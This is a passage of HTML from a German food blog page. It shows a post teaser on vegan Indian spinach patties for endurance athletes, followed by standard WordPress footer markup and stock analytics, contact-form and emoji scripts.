https://www.trail-kitchen.com/wp-content/uploads/2017/03/Küchlein.jpg 850w, https://www.trail-kitchen.com/wp-content/uploads/2017/03/Küchlein-30x20.jpg 30w" sizes="auto, (max-width: 420px) 100vw, 420px" /></noscript></figure></div>	
	<!-- Post Header -->
	<header class="entry-header">			
				
		<!-- Post Title -->
		<h2  class="post-title">
			<a href="https://www.trail-kitchen.com/indische-spinatkuechlein-vegane-energiespender/" >Indische Spinatküchlein &#8211; vegane Energiespender</a>
		</h2>
	</header>
	
	<!-- Post Content -->
	<div class="entry-content">
	<p>Als Ausdauersportlerin beschäftige ich mich leidenschaftlich mit dem Thema Ernährung. Wenn man zwei Sportlern die Frage stellt, ob nun High Carb oder Low Carb besser sei, dann bekommt man mindestens drei verschiedene Antworten. Es immer wieder Trends und Entwicklungen, die perfekte Ernährungsweise für ambitionierte Sportler betreffend. Ich persönlich habe mich keiner der beiden Strömungen komplett&#8230;</p>
	
	</div>

	<!-- Post Footer -->
	<footer class="entry-footer">
		<div class="meta-author-date">
		<a href="https://www.trail-kitchen.com/author/marlen/" rel="author">marlen</a>&nbsp;/&nbsp;5. März 2017		</div>
		
		<div class="clear"></div>
	</footer>
		
				</article>
		
						
			<div class="clear"></div>
			<!-- Get Pagination -->
						
			<div class='numbered-pagination'>
							</div>

						
									
		</div>

		
		<div class="clear"></div>
	</div>
</div>
	<footer class="footer-wrap">
	
	<!--  Get Options -->
	
		<!-- Get footer Widget -->
				<div class="footer-instagram center-max-width" data-instscroll="on"> 
		
			
		<div class="footer-social"><a href="https://www.facebook.com/trailkitchen" target="_blank"><i class="fa fa-facebook"></i><span class="social-info" >Facebook</span></a><a href="https://vimeo.com/trailkitchen" target="_blank"><i class="fa fa-vimeo-square"></i><span class="social-info" >Vimeo</span></a><a href="http://instagram.com/trail_kitchen" target="_blank"><i class="fa fa-instagram"></i><span class="social-info" >Instagram</span></a></div>		
		</div>
		
		<div class="footer-widget-area">	
			<div  class="center-max-width">

										
				
							
				<div class="clear"></div>	
			</div>
		</div>

		<div class="footer-bottom">	
			<div  class="center-max-width">
				
				<!-- Footer Logo -->
				<!--
								<div class="footer-logo">
					<a href="https://www.trail-kitchen.com/" title="Trail Kitchen" >
						<img src="http://www.infinitythemes.ge/aden-blog/wp-content/uploads/2016/01/FOOTER-logo.png" alt="Trail Kitchen">
					</a>	
				</div>

				-->
				<!-- Copyright -->
				<div class="copyright">
					<p>			
					Copyrights © 2016 Trail Kitchen					</p>
				</div>

				<!-- Scroll top button -->
				<span class="scrolltotop">
					<i class="fa fa-angle-double-up"></i>
					<br>
					Back to top				</span>

				<div class="clear"></div>
			</div>
		</div>
	</footer> <!-- // end Fotter copyright -->
</div>
<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/aden/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script> 
    var gaProperty = 'UA-74707390-1'; 
    var disableStr = 'ga-disable-' + gaProperty; 
    if (document.cookie.indexOf(disableStr + '=true') > -1) { 
        window[disableStr] = true;
    } 
    function gaOptout() { 
        document.cookie = disableStr + '=true; expires=Thu, 31 Dec 2099 23:59:59 UTC; path=/'; 
        window[disableStr] = true; 
        alert('Das Tracking ist jetzt deaktiviert'); 
    } 
    (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ 
            (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), 
        m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) 
    })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); 

    ga('create', 'UA-74707390-1', 'auto'); 
    ga('set', 'anonymizeIp', true); 
    ga('send', 'pageview'); 
</script><script type="text/javascript" id="jm_like_post-js-extra">
/* <![CDATA[ */
var ajax_var = {"url":"https://www.trail-kitchen.com/wp-admin/admin-ajax.php","nonce":"e787ac1d36"};
//# sourceURL=jm_like_post-js-extra
/* ]]> */
</script>
<script type="text/javascript" src="https://www.trail-kitchen.com/wp-content/themes/aden/js/post-like.js?ver=1.0" id="jm_like_post-js"></script>
<script type="text/javascript" src="https://www.trail-kitchen.com/wp-includes/js/dist/hooks.min.js?ver=dd5603f07f9220ed27f1" id="wp-hooks-js"></script>
<script type="text/javascript" src="https://www.trail-kitchen.com/wp-includes/js/dist/i18n.min.js?ver=c26c3dc7bed366793375" id="wp-i18n-js"></script>
<script type="text/javascript" id="wp-i18n-js-after">
/* <![CDATA[ */
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
//# sourceURL=wp-i18n-js-after
/* ]]> */
</script>
<script type="text/javascript" src="https://www.trail-kitchen.com/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=6.1.5" id="swv-js"></script>
<script type="text/javascript" id="contact-form-7-js-translations">
/* <![CDATA[ */
( function( domain, translations ) {
	var localeData = translations.locale_data[ domain ] || translations.locale_data.messages;
	localeData[""].domain = domain;
	wp.i18n.setLocaleData( localeData, domain );
} )( "contact-form-7", {"translation-revision-date":"2026-02-20 12:33:20+0000","generator":"GlotPress\/4.0.3","domain":"messages","locale_data":{"messages":{"":{"domain":"messages","plural-forms":"nplurals=2; plural=n != 1;","lang":"de"},"This contact form is placed in the wrong place.":["Dieses Kontaktformular wurde an der falschen Stelle platziert."],"Error:":["Fehler:"]}},"comment":{"reference":"includes\/js\/index.js"}} );
//# sourceURL=contact-form-7-js-translations
/* ]]> */
</script>
<script type="text/javascript" id="contact-form-7-js-before">
/* <![CDATA[ */
var wpcf7 = {
    "api": {
        "root": "https:\/\/www.trail-kitchen.com\/wp-json\/",
        "namespace": "contact-form-7\/v1"
    }
};
//# sourceURL=contact-form-7-js-before
/* ]]> */
</script>
<script type="text/javascript" src="https://www.trail-kitchen.com/wp-content/plugins/contact-form-7/includes/js/index.js?ver=6.1.5" id="contact-form-7-js"></script>
<script type="text/javascript" id="thickbox-js-extra">
/* <![CDATA[ */
var thickboxL10n = {"next":"N\u00e4chste \u003E","prev":"\u003C Vorherige","image":"Bild","of":"von","close":"Schlie\u00dfen","noiframes":"Diese Funktion erfordert iframes. Du hast jedoch iframes deaktiviert oder dein Browser unterst\u00fctzt diese nicht.","loadingAnimation":"https://www.trail-kitchen.com/wp-includes/js/thickbox/loadingAnimation.gif"};
//# sourceURL=thickbox-js-extra
/* ]]> */
</script>
<script type="text/javascript" src="https://www.trail-kitchen.com/wp-includes/js/thickbox/thickbox.js?ver=3.1-20121105" id="thickbox-js"></script>
<script type="text/javascript" src="https://www.trail-kitchen.com/wp-content/themes/aden/js/aden-plugins.min.js?ver=6.9.4" id="owl-carousel-js"></script>
<script type="text/javascript" src="https://www.trail-kitchen.com/wp-content/themes/aden/js/custom-scripts.min.js?ver=6.9.4" id="adenit-custom-js"></script>
<script type="text/javascript" src="https://www.trail-kitchen.com/wp-content/plugins/bj-lazy-load/js/bj-lazy-load.min.js?ver=2" id="BJLL-js"></script>
<script id="wp-emoji-settings" type="application/json">
{"baseUrl":"https://s.w.org/images/core/emoji/17.0.2/72x72/","ext":".png","svgUrl":"https://s.w.org/images/core/emoji/17.0.2/svg/","svgExt":".svg","source":{"concatemoji":"https://www.trail-kitchen.com/wp-includes/js/wp-emoji-release.min.js?ver=6.9.4"}}
</script>
<script type="module">
/* <![CDATA[ */
/*! This file is auto-generated */
const a=JSON.parse(document.getElementById("wp-emoji-settings").textContent),o=(window._wpemojiSettings=a,"wpEmojiSettingsSupports"),s=["flag","emoji"];function i(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function c(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0);const a=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);return t.every((e,t)=>e===a[t])}function p(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var n=e.getImageData(16,16,1,1);for(let e=0;e<n.data.length;e++)if(0!==n.data[e])return!1;return!0}function u(e,t,n,a){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!a(e,"\ud83e\u1fac8")}return!1}function f(e,t,n,a){let r;const o=(r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):document.createElement("canvas")).getContext("2d",{willReadFrequently:!0}),s=(o.textBaseline="top",o.font="600 32px Arial",{});return e.forEach(e=>{s[e]=t(o,e,n,a)}),s}function r(e){var t=document.createElement("script");t.src=e,t.defer=!0,document.head.appendChild(t)}a.supports={everything:!0,everythingExceptFlag:!0},new Promise(t=>{let n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),c.toString(),p.toString()].join(",")+"));",a=new Blob([e],{type:"text/javascript"});const r=new Worker(URL.createObjectURL(a),{name:"wpTestEmojiSupports"});return void(r.onmessage=e=>{i(n=e.data),r.terminate(),t(n)})}catch(e){}i(n=f(s,u,c,p))}t(n)}).then(e=>{for(const n in e)a.supports[n]=e[n],a.supports.everything=a.supports.everything&&a.supports[n],"flag"!==n&&(a.supports.everythingExceptFlag=a.supports.everythingExceptFlag&&a.supports[n]);var t;a.supports.everythingExceptFlag=a.supports.everythingExceptFlag&&!a.supports.flag,a.supports.everything||((t=a.source||{}).concatemoji?r(t.concatemoji):t.wpemoji&&t.twemoji&&(r(t.twemoji),r(t.wpemoji)))});
//# sourceURL=https://www.trail-kitchen.com/wp-includes/js/wp-emoji-loader.min.js
/* ]]> */
</script>
</body>
</html>